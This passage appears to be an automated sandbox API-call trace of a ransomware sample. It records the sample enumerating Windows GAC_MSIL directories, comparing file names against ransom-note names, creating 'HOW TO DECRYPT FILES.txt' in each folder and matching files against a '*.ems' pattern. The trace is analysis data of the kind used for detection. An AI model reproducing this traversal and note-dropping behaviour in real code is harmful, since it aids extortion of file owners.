DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.vbe.interop\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.246] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Vbe.Interop.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.dll" [0101.246] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Vbe.Interop\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Vbe.Interop.dll", pszSpec="*.ems") returned 0 [0101.246] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x706d2210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706d2210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706d2210, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Vbe.Interop.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.246] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.246] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e46a610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f74f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f74f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.246] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.247] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f28c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f28c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f28c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.12.0.office", cAlternateFileName="POLICY~2.OFF")) returned 1 [0101.247] lstrcmpA (lpString1=".", lpString2="Policy.12.0.office") returned -1 [0101.247] lstrcmpA (lpString1="..", lpString2="Policy.12.0.office") returned -1 [0101.247] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.247] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.office" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office" [0101.247] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f28c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f28c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f28c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.248] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.248] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5f28c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f28c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f28c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.248] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.248] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.248] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f02b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f02b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.248] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.248] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0101.248] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\*.*") returned="*.*" [0101.248] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c" [0101.249] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f02b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f02b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.249] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.249] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f02b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f02b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.249] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.250] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.250] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b2c3930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6b2c3930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b2c3930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.office.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.250] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.250] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.office.config") returned -1 [0101.250] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.office.config") returned -1 [0101.250] lstrcmpiA (lpString1="", lpString2="Policy.12.0.office.config") returned -1 [0101.250] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.250] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\" [0101.250] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.250] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.250] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.250] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.306] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.306] CloseHandle (hObject=0x90) returned 1 [0101.306] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.office.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.office.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.office.config" [0101.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.office.config", pszSpec="*.ems") returned 0 [0101.306] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5969b6f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Office.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.306] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.307] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Office.dll") returned -1 [0101.307] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Office.dll") returned -1 [0101.307] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Office.dll") returned -1 [0101.307] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.office.config") returned="Policy.12.0.office.config" [0101.307] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\" [0101.307] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.307] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.307] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.307] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Office.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Office.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Office.dll" [0101.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.office\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Office.dll", pszSpec="*.ems") returned 0 [0101.308] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5969b6f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Office.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.308] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.308] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa5f02b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5f02b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.308] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.308] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.6.0.ehRecObj", cAlternateFileName="POLICY~1.EHR")) returned 1 [0101.308] lstrcmpA (lpString1=".", lpString2="Policy.6.0.ehRecObj") returned -1 [0101.308] lstrcmpA (lpString1="..", lpString2="Policy.6.0.ehRecObj") returned -1 [0101.308] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.308] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.6.0.ehRecObj" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj" [0101.309] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.310] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.310] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.310] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.310] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.310] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0101.310] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.310] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0101.311] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\*.*") returned="*.*" [0101.311] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35" [0101.311] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.311] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.311] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.311] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.311] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.311] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.6.0.ehRecObj.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.312] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.312] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.6.0.ehRecObj.config") returned -1 [0101.312] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.6.0.ehRecObj.config") returned -1 [0101.312] lstrcmpiA (lpString1="", lpString2="Policy.6.0.ehRecObj.config") returned -1 [0101.312] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.312] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\" [0101.312] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\") returned="" [0101.312] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.312] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.ehrecobj\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.312] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.6.0.ehrecobj\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.318] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.318] CloseHandle (hObject=0x90) returned 1 [0101.318] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\", lpString2="Policy.6.0.ehRecObj.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.config" [0101.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.config", pszSpec="*.ems") returned 0 [0101.318] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81e52320, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81e52320, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81e52320, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.6.0.ehRecObj.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.318] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.318] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.6.0.ehRecObj.dll") returned -1 [0101.319] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.6.0.ehRecObj.dll") returned -1 [0101.319] lstrcmpiA (lpString1="", lpString2="Policy.6.0.ehRecObj.dll") returned -1 [0101.319] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.6.0.ehRecObj\\6.1.0.0__31bf3856ad364e35\\Policy.6.0.ehRecObj.config") returned="Policy.6.0.ehRecObj.config" [0101.319] lstrcpyA (in: lpString1=0x407019, 